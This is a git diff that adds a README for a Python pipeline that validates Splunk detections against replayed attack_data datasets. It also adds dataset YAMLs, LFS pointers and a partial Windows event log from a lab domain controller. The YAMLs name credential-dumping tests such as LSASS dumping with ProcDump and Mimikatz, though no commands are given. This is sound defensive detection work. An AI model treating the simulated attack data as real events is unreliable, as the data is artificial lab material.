@@ -0,0 +1,261 @@ +# Attack Data → Splunk Detection Pipeline + +A detection-first pipeline that validates [Splunk security_content](https://github.com/splunk/security_content) +detections against [attack_data](https://github.com/splunk/attack_data) datasets and +curates only the events that produced detection hits. + +For each detection (processed alphabetically): + +1. **resolve** – Read `tests[].attack_data[].data` URLs and locate source attack + data YAML files in the repository. +2. **upload** – Replay every dataset from those YAMLs to Splunk HEC with a per-line + UUID as `host`. Mappings are kept in memory for the duration of the run. +3. **detect** – Run only that detection (SPL rewritten so `host` is an output field). +4. **curate** – Export matched events and merge them into `{technique}_{folder}.yml` + (e.g. `T1001_snapattack.yml`) without modifying the original source YAML. +5. **cleanup** – Delete uploaded events from the Splunk index before the next detection. + +## Why per-event UUIDs? + +Every uploaded event gets a unique `host` UUID. When a detection fires, the `host` +values in its results tell us precisely which source events matched — enabling a +targeted export of just the "interesting" data instead of the entire dataset. + +## Files + +| File | Purpose | +| --- | --- | +| `migrate.py` | CLI entry point with `upload` and `run` subcommands | +| `detection_utils.py` | Discover/parse detection YAML + rewrite SPL to output `host` | +| `splunk_search.py` | Run detections over the Splunk REST API + export raw events | +| `memory_store.py` | In-memory store for upload UUID maps and detection attribution | +| `requirements.txt` | Python dependencies | + +## Installation + +```bash +pip install -r scripts/requirements.txt +``` + +Dependencies: `requests`, `urllib3`, `pyyaml`, `splunk-sdk`, `python-dotenv`. + +You also need a local clone of security_content for the detections: + +```bash +git clone https://github.com/splunk/security_content.git +``` + +> **Note:** The detections reference security_content macros and lookups (e.g. +> `` `sysmon` ``, `` `security_content_summariesonly` ``, `` `_filter` ``). The +> corresponding app (e.g. ESCU / a `contentctl` build of security_content) must be +> installed on the Splunk instance, otherwise the searches will error. Detections whose +> searches fail are logged and skipped; the run continues. + +## Configuration + +CLI flags override environment variables. + +| Variable | Flag | Default | Used by | +| --- | --- | --- | --- | +| `SPLUNK_HOST` | `--host` | – (required) | all | +| `SPLUNK_HEC_TOKEN` | `--hec-token` | – (required) | upload | +| `SPLUNK_HEC_PORT` | `--hec-port` | `8088` | upload | +| `SPLUNK_USERNAME` | `--username` | – (required) | run | +| `SPLUNK_PASSWORD` | `--password` | – (required) | run | +| `SPLUNK_PORT` | `--mgmt-port` | `8089` | run | + +```bash +export SPLUNK_HOST="192.168.1.100" +export SPLUNK_HEC_TOKEN="00000000-0000-0000-0000-000000000000" +export SPLUNK_USERNAME="admin" +export SPLUNK_PASSWORD="changeme" +``` + +## Usage + +### Detection-first pipeline (`run`) + +The `run` command processes detections **one at a time**, in alphabetical order +by detection name. For each detection: + +1. **Resolve** — read `tests[].attack_data[].data` URLs and locate the + corresponding source attack data YAML files in the repository (original YAMLs + such as `snapattack.yml` are never modified). +2. **Upload** — replay every dataset from those YAMLs to Splunk (per-line UUID + as `host`; mappings kept in memory during the run). +3. **Detect** — run only that detection (with `host` preserved in SPL output). +4. **Export & curate** — export matched events per dataset and merge them into a + curated YAML named `{technique}_{folder}.yml` (e.g. `T1001_snapattack.yml` in + `datasets/attack_techniques/T1001/snapattack/`). If the curated YAML already + exists, new datasets are appended. +5. **Cleanup** — delete uploaded events from the Splunk index before the next + detection. + +```bash +python scripts/migrate.py run \ + --detection scripts/detection_tests +``` + +Resolve attack data from a custom root folder (default is `datasets`): + +```bash +python scripts/migrate.py run \ + --detection scripts/detection_tests \ + --attack-data-root scripts/attack_technique_tests +``` + +`--attack-data-root` (alias `--attack-data`) is used when mapping detection +`tests[].attack_data[].data` URLs to local log files and source YAMLs. The +resolver tries the full repo path first, then paths relative to the root +(including stripping the `datasets/attack_techniques/` prefix when needed). + +Resume after a failure at a specific detection UUID (inclusive): + +```bash +python scripts/migrate.py run \ + --detection scripts/detection_tests \ + --start-from-detection-id fb4c31b0-13e8-4155-8aa5-24de4b8d6717 +``` + +Optional flags: + +```bash +python scripts/migrate.py run \ + --detection scripts/detection_tests \ + --update-detection-tests \ + --export-dir exported \ + --no-delete +``` + +`--attack-data-root` defaults to `datasets` and controls where detection test +URLs are resolved. `--update-attack-data` is legacy: it additionally mutates the +**original** source YAML in place (curated YAML creation is always on for `run`). + +Splunk index cleanup after each detection requires the `can_delete` capability. +Disable with `--no-delete`. + +At the end of the run, a **DETECTIONS NOT UPDATED** summary lists detections that +did not produce curated output (or detection test updates when +`--update-detection-tests` is set). + +### Upload only + +```bash +python scripts/migrate.py upload --attack-data datasets/malware/qakbot +``` + +### Exported files + +Export is **per dataset**. An attack data file that defines multiple datasets +has all of its datasets uploaded, and each dataset is exported into its own +file. The filename combines the dataset name and the attack data file UUID: + +``` +/_.log +``` + +For example, `datasets/attack_techniques/T1003.002/atomic_red_team/atomic_red_team.yml` +(UUID `cc9b25e7-...`) with datasets `crowdstrike_falcon` and `windows-sysmon` +produces: + +``` +exported/crowdstrike_falcon_cc9b25e7-efc9-11eb-926b-550bf0943fbb.log +exported/windows-sysmon_cc9b25e7-efc9-11eb-926b-550bf0943fbb.log +``` + +Only events that produced detection results are written. + +### Curated attack data YAML (`T1001_snapattack.yml`) + +For a source folder such as `datasets/attack_techniques/T1001/snapattack/`, the +pipeline writes curated output to `T1001_snapattack.yml` in the same folder. +Only datasets with detection hits are included. The original `snapattack.yml` is +left unchanged. When multiple detections reference datasets from the same folder, +later runs append new dataset entries to the existing curated YAML. + +### Legacy: updating source attack data in place (`--update-attack-data`) + +With `--update-attack-data` on `run` (legacy behavior), curated per-dataset logs +per-dataset logs are written into the **original** attack data YAML's folder and +that YAML is updated in place. The default `run` workflow uses separate curated +YAML files instead. + +- `date` is set to today. +- the `datasets` section is rewritten to point at the curated files + (`_.log` in the same folder). Datasets that + produced no detection matches are dropped. + +```bash +python scripts/migrate.py run \ + --attack-data datasets/malware/qakbot \ + --detection ~/security_content/detections/endpoint \ + --update-attack-data +``` + +This effectively minimizes a dataset down to only the events that trigger +detections and updates the YAML to describe the curated data. It can be combined +with `--export-dir`, or used on its own. The original log files are left on disk +(the YAML simply stops referencing them), so review/commit the changes with git. + +### Updating detection tests (`--update-detection-tests`) + +With `--update-detection-tests` on `run`, each detection YAML's `tests` section +YAML's `tests` section is rewritten to reference the attack data that matched +**that specific detection**. For every matched dataset, an `attack_data` entry is +added using the standard GitHub URL format: + +```yaml +tests: + - name: True Positive Test + attack_data: + - data: https://media.githubusercontent.com/media/splunk/attack_data/master/datasets/... + source: ... + sourcetype: ... +``` + +The detection's `date` field is also set to today. Detections with no matches are +left unchanged and a warning is printed. Run this after `--update-attack-data` if +you want the tests to point at the curated log files. + +At the end of each `run`, a **DETECTIONS NOT UPDATED** summary lists every +detection whose tests were not updated, with the reason (`no matches`, +`search failed`, etc.). When `--update-detection-tests` is enabled, any detection +not successfully written is included. + +```bash +python scripts/migrate.py run \ + --attack-data datasets/attack_techniques/T1003.001/atomic_red_team \ + --detection scripts/detection_tests \ + --update-attack-data \ + --update-detection-tests +``` + +## How detections are rewritten to output `host` + +`add_host_output_field()` in `detection_utils.py` rewrites the SPL so the `host` field +survives to the output: + +- `stats` / `tstats` / `eventstats` / `streamstats` / `sistats`: `host` is appended to + the `by` clause (or `by host` is added when there is none). +- `table` / `fields`: `host` is appended to the projected field list. +- Raw (non-aggregating) searches already carry `host` through. + +Pipe-splitting is quote- and bracket-aware, so subsearches, quoted strings, and `eval` +expressions are not broken. + +Example: + +``` +| tstats count from datamodel=Endpoint.Processes by Processes.dest + ⇒ | tstats count from datamodel=Endpoint.Processes by Processes.dest, host +``` + +## Notes & assumptions + +- **Search time window** defaults to all-time (`earliest=0`) because attack data + timestamps can be years old. Override with `--earliest` / `--latest`. +- **TLS verification** is disabled by default (`--verify-tls` for HEC uploads, + `--verify-ssl` for searches enable it). +- Matched hosts are intersected with the UUIDs actually uploaded in the run, so + pre-existing data in the target index is ignored during attribution. +- The target index defaults to `test` (`--index` to change). diff --git a/scripts/attack_technique_tests/T1003.001/atomic_red_team/atomic_red_team.yml b/scripts/attack_technique_tests/T1003.001/atomic_red_team/atomic_red_team.yml new file mode 100644 index 000000000..035258bfe --- /dev/null +++ b/scripts/attack_technique_tests/T1003.001/atomic_red_team/atomic_red_team.yml @@ -0,0 +1,35 @@ +author: Patrick Bareiss, Michael Haag +id: cc9b25d6-efc9-11eb-926b-550bf0943fbb +date: '2022-01-12' +description: 'Atomic Test Results: Successful Execution of test T1003.001-1 Windows + Credential Editor Successful Execution of test T1003.001-2 Dump LSASS.exe Memory + using ProcDump Return value unclear for test T1003.001-3 Dump LSASS.exe Memory using + comsvcs.dll Successful Execution of test T1003.001-4 Dump LSASS.exe Memory using + direct system calls and API unhooking Return value unclear for test T1003.001-6 + Offline Credential Theft With Mimikatz Return value unclear for test T1003.001-7 + LSASS read with pypykatz ' +environment: attack_range +directory: atomic_red_team +mitre_technique: +- T1003.001 +datasets: +- name: windows-sysmon_creddump + path: /datasets/attack_techniques/T1003.001/atomic_red_team/windows-sysmon_creddump.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: procdump_windows-security + path: /datasets/attack_techniques/T1003.001/atomic_red_team/procdump_windows-security.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security +- name: crowdstrike_falcon + path: /datasets/attack_techniques/T1003.001/atomic_red_team/crowdstrike_falcon.log + sourcetype: crowdstrike:events:sensor + source: crowdstrike +- name: createdump_windows-sysmon + path: /datasets/attack_techniques/T1003.001/atomic_red_team/createdump_windows-sysmon.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: windows-sysmon + path: /datasets/attack_techniques/T1003.001/atomic_red_team/windows-sysmon.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/scripts/attack_technique_tests/T1003.001/atomic_red_team/createdump_windows-sysmon.log b/scripts/attack_technique_tests/T1003.001/atomic_red_team/createdump_windows-sysmon.log new file mode 100644 index 000000000..9ea48398b --- /dev/null +++ b/scripts/attack_technique_tests/T1003.001/atomic_red_team/createdump_windows-sysmon.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:b898327b2b446ba63c13934d50c899eb4b2ee2c722a7c6c4a1dae6c515720001 +size 10636 diff --git a/scripts/attack_technique_tests/T1003.001/atomic_red_team/crowdstrike_falcon.log b/scripts/attack_technique_tests/T1003.001/atomic_red_team/crowdstrike_falcon.log new file mode 100644 index 000000000..e5956dcb3 --- /dev/null +++ b/scripts/attack_technique_tests/T1003.001/atomic_red_team/crowdstrike_falcon.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:9eb639b8642f067f76ddb8b4ab66494deb9893eed528bcb02063802c2dbff140 +size 77504 diff --git a/scripts/attack_technique_tests/T1003.001/atomic_red_team/procdump_t1003.001_capattack.zip b/scripts/attack_technique_tests/T1003.001/atomic_red_team/procdump_t1003.001_capattack.zip new file mode 100644 index 000000000..e9e8f5f05 Binary files /dev/null and b/scripts/attack_technique_tests/T1003.001/atomic_red_team/procdump_t1003.001_capattack.zip differ diff --git a/scripts/attack_technique_tests/T1003.001/atomic_red_team/procdump_windows-security.log b/scripts/attack_technique_tests/T1003.001/atomic_red_team/procdump_windows-security.log new file mode 100644 index 000000000..355accf57 --- /dev/null +++ b/scripts/attack_technique_tests/T1003.001/atomic_red_team/procdump_windows-security.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:86be8a91228678b0639f5cc192722b40acb81f06eb998bbc34916cf08f436abd +size 14595 diff --git a/scripts/attack_technique_tests/T1003.001/atomic_red_team/windows-powershell.log b/scripts/attack_technique_tests/T1003.001/atomic_red_team/windows-powershell.log new file mode 100644 index 000000000..dc76a7201 --- /dev/null +++ b/scripts/attack_technique_tests/T1003.001/atomic_red_team/windows-powershell.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:93ce15580ad5bb985371dd3a8eb8741c0b0231d36f464265fc5d0645d2636b45 +size 8568252 diff --git a/scripts/attack_technique_tests/T1003.001/atomic_red_team/windows-security.log b/scripts/attack_technique_tests/T1003.001/atomic_red_team/windows-security.log new file mode 100644 index 000000000..9d0e99376 --- /dev/null +++ b/scripts/attack_technique_tests/T1003.001/atomic_red_team/windows-security.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:962debff1935335a6c6396a19d778127af1316b964226ba4427fae4fb9c9361b +size 8480 diff --git a/scripts/attack_technique_tests/T1003.001/atomic_red_team/windows-sysmon.log b/scripts/attack_technique_tests/T1003.001/atomic_red_team/windows-sysmon.log new file mode 100644 index 000000000..2c2504549 --- /dev/null +++ b/scripts/attack_technique_tests/T1003.001/atomic_red_team/windows-sysmon.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:a1905850598f1e943708c3329190e29c6cb046389c1575cb2afd6369b5f269f1 +size 14235927 diff --git a/scripts/attack_technique_tests/T1003.001/atomic_red_team/windows-sysmon_creddump.log b/scripts/attack_technique_tests/T1003.001/atomic_red_team/windows-sysmon_creddump.log new file mode 100644 index 000000000..9209f24e6 --- /dev/null +++ b/scripts/attack_technique_tests/T1003.001/atomic_red_team/windows-sysmon_creddump.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:a37b69dce32eaff6b5c1fdb4bb9cbea6dec78a4fbd22cd41362ab0e377f075ef +size 65428 diff --git a/scripts/attack_technique_tests/T1003.001/atomic_red_team/windows-system.log b/scripts/attack_technique_tests/T1003.001/atomic_red_team/windows-system.log new file mode 100644 index 000000000..34a91dd82 --- /dev/null +++ b/scripts/attack_technique_tests/T1003.001/atomic_red_team/windows-system.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:4ac7ed133d6a44788d841735605aa70644897749201d5a9b7afdc93f2d9518e7 +size 392544 diff --git a/scripts/attack_technique_tests/T1003.001/snapattack/snapattack.log b/scripts/attack_technique_tests/T1003.001/snapattack/snapattack.log new file mode 100644 index 000000000..763120bfa --- /dev/null +++ b/scripts/attack_technique_tests/T1003.001/snapattack/snapattack.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:c22994ec5fa481609dfbb3403dc51d803cb1f0665d3aab29da8f5e8a9766f4af +size 58587 diff --git a/scripts/attack_technique_tests/T1003.001/snapattack/snapattack.yml b/scripts/attack_technique_tests/T1003.001/snapattack/snapattack.yml new file mode 100644 index 000000000..738c91a1c --- /dev/null +++ b/scripts/attack_technique_tests/T1003.001/snapattack/snapattack.yml @@ -0,0 +1,14 @@ +author: Raven Tait, Splunk +id: 23bcd20e-abc1-43fa-bd6f-117cb360633e +date: '2026-04-01' +description: Generated datasets for Windows Evidence of LSASS Shtinkering - AppCrash + Reports in attack range. +environment: attack_range +directory: snapattack +mitre_technique: +- T1003.001 +datasets: +- name: snapattack + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational + path: /datasets/attack_techniques/T1003.001/snapattack/snapattack.log diff --git a/scripts/attack_technique_tests/T1003.002/atomic_red_team/atomic_red_team.yml b/scripts/attack_technique_tests/T1003.002/atomic_red_team/atomic_red_team.yml new file mode 100644 index 000000000..5b52451ba --- /dev/null +++ b/scripts/attack_technique_tests/T1003.002/atomic_red_team/atomic_red_team.yml @@ -0,0 +1,19 @@ +author: Patrick Bareiss +id: cc9b25e7-efc9-11eb-926b-550bf0943fbb +date: '2020-10-08' +description: 'Atomic Test Results: Successful Execution of test T1003.002-1 Registry + dump of SAM, creds, and secrets Return value unclear for test T1003.002-2 Registry + parse with pypykatz Successful Execution of test T1003.002-3 esentutl.exe SAM copy ' +environment: attack_range +directory: atomic_red_team +mitre_technique: +- T1003.002 +datasets: +- name: crowdstrike_falcon + path: /datasets/attack_techniques/T1003.002/atomic_red_team/crowdstrike_falcon.log + sourcetype: crowdstrike:events:sensor + source: crowdstrike +- name: windows-sysmon + path: /datasets/attack_techniques/T1003.002/atomic_red_team/windows-sysmon.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/scripts/attack_technique_tests/T1003.002/atomic_red_team/attack-range-windows-domain-controller.json b/scripts/attack_technique_tests/T1003.002/atomic_red_team/attack-range-windows-domain-controller.json new file mode 100644 index 000000000..2757b874d --- /dev/null +++ b/scripts/attack_technique_tests/T1003.002/atomic_red_team/attack-range-windows-domain-controller.json @@ -0,0 +1,8899 @@ +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":748,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.016\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 900\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010DC460000}\r\nTargetProcessId: 716\r\nTargetImage: C:\\Windows\\system32\\wininit.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.016","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"900","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010DC460000}","TargetProcessId":"716","TargetImage":"C:\\Windows\\system32\\wininit.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76787,"ProcessID":852,"ThreadID":936,"Channel":"System","Message":"The Netlogon service entered the running state.","param1":"Netlogon","param2":"running","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221458,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t58208\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"58208","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221459,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t5\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tSYSTEM\r\n\tAccount Domain:\t\tNT AUTHORITY\r\n\tLogon ID:\t\t0x3E7\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x354\r\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":"5","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221460,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tSYSTEM\r\n\tAccount Domain:\t\tNT AUTHORITY\r\n\tLogon ID:\t\t0x3E7\r\n\r\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 